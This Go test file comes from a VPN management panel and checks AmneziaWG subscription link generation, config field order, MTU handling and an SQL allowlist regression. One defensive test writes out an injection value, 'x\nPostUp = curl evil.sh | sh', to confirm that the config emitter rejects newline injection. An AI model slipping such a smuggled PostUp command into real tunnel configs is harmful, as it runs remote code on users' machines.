service_amneziawg_test.go 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317
  1. package sub
  2. import (
  3. "encoding/base64"
  4. "slices"
  5. "strconv"
  6. "strings"
  7. "testing"
  8. "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
  9. "github.com/mhsanaei/3x-ui/v3/internal/database"
  10. "github.com/mhsanaei/3x-ui/v3/internal/database/model"
  11. wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
  12. )
  13. // TestGenAmneziaWGLinkFields covers the real AmneziaVPN app's vpn:// scheme:
  14. // base64url (no padding) of a plain AmneziaWG .conf text, parsed by the real
  15. // app as a flat "Key = Value" bag (confirmed by reading its own source).
  16. func TestGenAmneziaWGLinkFields(t *testing.T) {
  17. serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
  18. if err != nil {
  19. t.Fatalf("keypair: %v", err)
  20. }
  21. clientPriv, _, err := wgutil.GenerateWireguardKeypair()
  22. if err != nil {
  23. t.Fatalf("client keypair: %v", err)
  24. }
  25. inbound := &model.Inbound{
  26. Listen: "203.0.113.7",
  27. Port: 51820,
  28. Protocol: model.AmneziaWG,
  29. Remark: "awg-sub",
  30. Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `","mtu":1420,"primaryDns":"8.8.8.8"},` +
  31. `"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"],"keepAlive":25}]}`,
  32. }
  33. s := &SubService{}
  34. link := s.genAmneziaWGLink(inbound, "user")
  35. if !strings.HasPrefix(link, "vpn://") {
  36. t.Fatalf("link = %q, want vpn:// prefix", link)
  37. }
  38. raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
  39. if err != nil {
  40. t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
  41. }
  42. text := string(raw)
  43. for _, want := range []string{
  44. "[Interface]",
  45. "PrivateKey = " + clientPriv,
  46. "Address = 10.8.1.2/32",
  47. "MTU = 1420",
  48. "DNS = 8.8.8.8",
  49. "[Peer]",
  50. "PublicKey = " + serverPub,
  51. "Endpoint = 203.0.113.7:51820",
  52. "PersistentKeepalive = 25",
  53. } {
  54. if !strings.Contains(text, want) {
  55. t.Fatalf("decoded config missing %q\n got: %s", want, text)
  56. }
  57. }
  58. // The server block sets none of the 3.1 fields: none may leak into the
  59. // client config (a lone HeaderProtectionKey would break the handshake).
  60. for _, absent := range []string{"HeaderProtectionKey", "RandomTrailers", "DisableCookies", "RekeyAfterTime", "ContentPaddingAddition"} {
  61. if strings.Contains(text, absent) {
  62. t.Fatalf("config must omit unset 3.1 field %q\n got: %s", absent, text)
  63. }
  64. }
  65. }
  66. // TestGenAmneziaWGLink31Fields pins the AmneziaWG 3.1 [Interface] lines and
  67. // their order in the decoded vpn:// payload — client and server configs must
  68. // carry the identical parameter block for the tunnel to work.
  69. func TestGenAmneziaWGLink31Fields(t *testing.T) {
  70. serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
  71. if err != nil {
  72. t.Fatalf("keypair: %v", err)
  73. }
  74. clientPriv, _, err := wgutil.GenerateWireguardKeypair()
  75. if err != nil {
  76. t.Fatalf("client keypair: %v", err)
  77. }
  78. inbound := &model.Inbound{
  79. Listen: "203.0.113.7",
  80. Port: 51820,
  81. Protocol: model.AmneziaWG,
  82. Remark: "awg-31",
  83. Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `",` +
  84. `"jc":4,"jmin":40,"jmax":100,"s1":30,"s2":90,"s3":20,"s4":10,` +
  85. `"h1":"10-2000","h2":"3000-5000","h3":"6000-8000","h4":"9000-11000",` +
  86. `"i1":"<r 64>","i2":"<r 80>",` +
  87. `"headerProtectionKey":"MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",` +
  88. `"contentPaddingAddition":"16-48","rekeyAfterTime":"110-140","rekeyTimeout":"4-8",` +
  89. `"rejectAfterTime":"190-250","keepaliveTimeout":"9-15","maxHandshakeAttempts":"20-40",` +
  90. `"randomTrailers":true,"disableCookies":true},` +
  91. `"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"]}]}`,
  92. }
  93. s := &SubService{}
  94. link := s.genAmneziaWGLink(inbound, "user")
  95. raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
  96. if err != nil {
  97. t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
  98. }
  99. text := string(raw)
  100. want := []string{
  101. "Jc = 4",
  102. "H4 = 9000-11000",
  103. "I1 = <r 64>",
  104. "I2 = <r 80>",
  105. "HeaderProtectionKey = MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",
  106. "ContentPaddingAddition = 16-48",
  107. "RekeyAfterTime = 110-140",
  108. "RekeyTimeout = 4-8",
  109. "RejectAfterTime = 190-250",
  110. "KeepaliveTimeout = 9-15",
  111. "MaxHandshakeAttempts = 20-40",
  112. "RandomTrailers = on",
  113. "DisableCookies = on",
  114. "[Peer]",
  115. }
  116. pos := -1
  117. for _, w := range want {
  118. i := strings.Index(text, w)
  119. if i < 0 {
  120. t.Fatalf("decoded config missing %q\n got: %s", w, text)
  121. }
  122. if i < pos {
  123. t.Fatalf("%q out of order in decoded config:\n%s", w, text)
  124. }
  125. pos = i
  126. }
  127. }
  128. func TestGenAmneziaWGLinkWrongProtocol(t *testing.T) {
  129. s := &SubService{}
  130. vless := &model.Inbound{Protocol: model.VLESS, Settings: `{"clients":[{"email":"user"}]}`}
  131. if got := s.genAmneziaWGLink(vless, "user"); got != "" {
  132. t.Fatalf("wrong protocol should yield empty link, got %q", got)
  133. }
  134. }
  135. func TestGenAmneziaWGLinkNoKey(t *testing.T) {
  136. s := &SubService{}
  137. inbound := &model.Inbound{
  138. Protocol: model.AmneziaWG,
  139. Port: 51820,
  140. Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[{"email":"user"}]}`,
  141. }
  142. if got := s.genAmneziaWGLink(inbound, "user"); got != "" {
  143. t.Fatalf("client without private key should yield empty link, got %q", got)
  144. }
  145. }
  146. // Regression test for the bug where getInboundsBySubId's SQL allowlist was
  147. // missing 'amneziawg', silently excluding every AmneziaWG client from
  148. // subscriptions (plain/individual links, JSON, Clash) even though
  149. // genAmneziaWGLink itself was already fully implemented and wired into
  150. // GetLink's dispatch switch.
  151. func TestGetInboundsBySubIdIncludesAmneziaWG(t *testing.T) {
  152. initSubDB(t)
  153. db := database.GetDB()
  154. in := &model.Inbound{Port: 51820, Protocol: model.AmneziaWG, Enable: true, Tag: "awg-sub", Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[]}`}
  155. if err := db.Create(in).Error; err != nil {
  156. t.Fatalf("create inbound: %v", err)
  157. }
  158. rec := &model.ClientRecord{Email: "u@awg", SubID: "subawg", Enable: true}
  159. if err := db.Create(rec).Error; err != nil {
  160. t.Fatalf("create client: %v", err)
  161. }
  162. if err := db.Create(&model.ClientInbound{ClientId: rec.Id, InboundId: in.Id}).Error; err != nil {
  163. t.Fatalf("create link: %v", err)
  164. }
  165. s := &SubService{}
  166. inbounds, err := s.getInboundsBySubId("subawg")
  167. if err != nil {
  168. t.Fatalf("getInboundsBySubId: %v", err)
  169. }
  170. if len(inbounds) != 1 || inbounds[0].Id != in.Id {
  171. t.Fatalf("amneziawg inbound not returned for subId: %+v", inbounds)
  172. }
  173. }
  174. // peerFieldOrder is wg-quick(8)'s own [Peer] order. The panel emits an
  175. // AmneziaWG .conf from three independent places -- this one, and the frontend's
  176. // genAmneziaWGConfig and buildAmneziaWGClientConfig -- and a user comparing a
  177. // subscription link against a downloaded .conf sees any drift immediately.
  178. var peerFieldOrder = []string{"PublicKey", "PresharedKey", "AllowedIPs", "Endpoint", "PersistentKeepalive"}
  179. func peerFields(t *testing.T, conf string) []string {
  180. t.Helper()
  181. idx := strings.Index(conf, "[Peer]")
  182. if idx < 0 {
  183. t.Fatalf("config has no [Peer] block:\n%s", conf)
  184. }
  185. var got []string
  186. for line := range strings.SplitSeq(conf[idx:], "\n") {
  187. key := strings.TrimSpace(strings.SplitN(line, "=", 2)[0])
  188. if slices.Contains(peerFieldOrder, key) {
  189. got = append(got, key)
  190. }
  191. }
  192. return got
  193. }
  194. func TestAmneziaWGConfigTextPeerFieldOrder(t *testing.T) {
  195. server := &amneziawg.ServerSettings{PublicKey: "serverPub", PrimaryDNS: "8.8.8.8", MTU: 1420}
  196. t.Run("every optional field set", func(t *testing.T) {
  197. client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}, PreSharedKey: "psk", KeepAlive: 25}
  198. conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
  199. if got := peerFields(t, conf); !slices.Equal(got, peerFieldOrder) {
  200. t.Fatalf("peer fields = %v, want %v\n%s", got, peerFieldOrder, conf)
  201. }
  202. // No trailing newline, whichever optional field happens to be last --
  203. // the frontend emitters end the same way for the same client.
  204. if strings.HasSuffix(conf, "\n") {
  205. t.Fatalf("config must not end with a newline:\n%q", conf)
  206. }
  207. })
  208. t.Run("no preshared key or keepalive", func(t *testing.T) {
  209. client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}}
  210. conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
  211. want := []string{"PublicKey", "AllowedIPs", "Endpoint"}
  212. if got := peerFields(t, conf); !slices.Equal(got, want) {
  213. t.Fatalf("peer fields = %v, want %v\n%s", got, want, conf)
  214. }
  215. if strings.HasSuffix(conf, "\n") {
  216. t.Fatalf("config must not end with a newline:\n%q", conf)
  217. }
  218. })
  219. }
  220. // A newline in a field that lands unescaped in [Interface] would inject a
  221. // config line (e.g. a rogue PostUp); the emitter must refuse to render it.
  222. func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
  223. server := &amneziawg.ServerSettings{
  224. PublicKey: "serverPub==",
  225. PrimaryDNS: "8.8.8.8",
  226. Jc: 4, Jmin: 40, Jmax: 100, S1: 30, S2: 90,
  227. }
  228. client := &model.Client{Email: "peer-1", PrivateKey: "clientPriv==", AllowedIPs: []string{"10.8.1.2/32"}}
  229. clean := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1")
  230. if !strings.Contains(clean, "PrivateKey = clientPriv==") {
  231. t.Fatalf("clean input did not render: %q", clean)
  232. }
  233. injected := "x\nPostUp = curl evil.sh | sh"
  234. cases := []struct {
  235. name string
  236. mutate func(s *amneziawg.ServerSettings, c *model.Client) string
  237. }{
  238. {"privateKey", func(s *amneziawg.ServerSettings, c *model.Client) string { c.PrivateKey = injected; return "peer-1" }},
  239. {"primaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.PrimaryDNS = injected; return "peer-1" }},
  240. {"secondaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.SecondaryDNS = injected; return "peer-1" }},
  241. {"remark", func(s *amneziawg.ServerSettings, c *model.Client) string { return injected }},
  242. }
  243. for _, tc := range cases {
  244. t.Run(tc.name, func(t *testing.T) {
  245. s := *server
  246. c := *client
  247. remark := tc.mutate(&s, &c)
  248. if got := amneziaWGConfigText(&s, &c, "203.0.113.7", 51820, remark); got != "" {
  249. t.Fatalf("%s with a newline rendered a config:\n%s", tc.name, got)
  250. }
  251. })
  252. }
  253. }
  254. // Guards an asymmetry: the server derives its MTU from S4, but a config with no
  255. // MTU line leaves the client at 1420 and fragments client-to-server only.
  256. func TestAmneziaWGConfigTextAlwaysCarriesTheServerMTU(t *testing.T) {
  257. t.Parallel()
  258. client := &model.Client{
  259. Email: "peer-1",
  260. PrivateKey: "clientPrivateKeyBase64ValueForTests00000000=",
  261. AllowedIPs: []string{"10.8.1.2/32"},
  262. }
  263. cases := []struct {
  264. name string
  265. serverMTU int
  266. s4 int
  267. want string
  268. }{
  269. {"unset falls back to the S4-aware default", 0, 27, "MTU = 1393"},
  270. {"unset with no S4 keeps the plain default", 0, 0, "MTU = 1420"},
  271. {"an explicit MTU wins", 1380, 27, "MTU = 1380"},
  272. }
  273. for _, tc := range cases {
  274. t.Run(tc.name, func(t *testing.T) {
  275. server := &amneziawg.ServerSettings{
  276. PublicKey: "serverPubKeyBase64ValueForTests000000000000=",
  277. MTU: tc.serverMTU,
  278. S4: tc.s4,
  279. }
  280. got := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1")
  281. if !strings.Contains(got, tc.want+"\n") {
  282. t.Errorf("expected %q in the client config\n%s", tc.want, got)
  283. }
  284. want := "MTU = " + strconv.Itoa(amneziawg.EffectiveMTU(tc.serverMTU, tc.s4))
  285. if !strings.Contains(got, want+"\n") {
  286. t.Errorf("client MTU must equal the server's effective MTU (%s)", want)
  287. }
  288. })
  289. }
  290. }